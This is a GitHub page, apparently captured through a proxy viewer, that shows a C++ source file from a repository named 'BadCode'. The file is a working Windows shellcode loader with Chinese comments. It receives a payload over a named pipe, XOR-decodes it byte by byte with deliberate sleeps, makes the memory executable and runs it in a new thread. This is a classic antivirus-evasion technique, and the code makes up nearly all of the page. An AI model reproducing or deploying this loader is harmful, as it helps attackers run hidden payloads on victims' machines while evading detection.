FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
BadCode/BadCodeWithPipe/Source.cpp at master · icushell/BadCode · GitHub
icushell
BadCode
Repository navigation
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
BadCode
/
BadCodeWithPipe
/
Source.cpp
Copy path
More file actions
More file actions
Latest commit
History
History
History
66 lines (56 loc) · 1.49 KB
Breadcrumbs
BadCode
/
BadCodeWithPipe
/
Source.cpp
Copy path
File metadata and controls
66 lines (56 loc) · 1.49 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#
include
<
Windows.h
>
#
include
<
stdio.h
>
#
include
<
intrin.h
>
#
define
BUFF_SIZE
1024
PTCHAR
ptsPipeName =
TEXT
(
"
\\\\
.
\\
pipe
\\
BadCodeTest
"
);
int
wmain
(
int
argc,
TCHAR
* argv[]){
HANDLE
hPipe;
DWORD
dwError;
CHAR
szBuffer[
BUFF_SIZE
];
DWORD
dwLen;
PCHAR
pszShellcode =
NULL
;
DWORD
dwOldProtect;
//
内存页属性
HANDLE
hThread;
DWORD
dwThreadId;
//
参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe =
CreateNamedPipe
(
ptsPipeName,
PIPE_ACCESS_INBOUND
,
PIPE_TYPE_BYTE
|
PIPE_WAIT
,
PIPE_UNLIMITED_INSTANCES
,
BUFF_SIZE
,
BUFF_SIZE
,
0
,
NULL
);
if
(hPipe ==
INVALID_HANDLE_VALUE
){
dwError =
GetLastError
();
printf
(
"
[-]Create Pipe Error : %d
\n
"
,dwError);
return
dwError;
}
if
(
ConnectNamedPipe
(hPipe,
NULL
) >
0
){
printf
(
"
[+]Client Connected...
\n
"
);
ReadFile
(hPipe,szBuffer,
BUFF_SIZE
,&dwLen,
NULL
);
printf
(
"
[+]Get DATA Length : %d
\n
"
,dwLen);
//
申请内存页
pszShellcode = (
PCHAR
)
VirtualAlloc
(
NULL
,dwLen,
MEM_COMMIT
,
PAGE_READWRITE
);
//
拷贝内存
CopyMemory
(pszShellcode,szBuffer,dwLen);
for
(
DWORD
i =
0
;i< dwLen; i++){
Sleep
(
50
);
_InterlockedXor8
(pszShellcode+i,
10
);
}
//
这里开始更改它的属性为可执行
VirtualProtect
(pszShellcode,dwLen,
PAGE_EXECUTE
,&dwOldProtect);
//
执行Shellcode
hThread =
CreateThread
(
NULL
,
//
安全描述符
NULL
,
//
栈的大小
(
LPTHREAD_START_ROUTINE
)pszShellcode,
//
函数
NULL
,
//
参数
NULL
,
//
线程标志
&dwThreadId
//
线程ID
);
WaitForSingleObject
(hThread,
INFINITE
);
}
return
0
;
}
Back
|
FazBrowse Home
|
New Git URL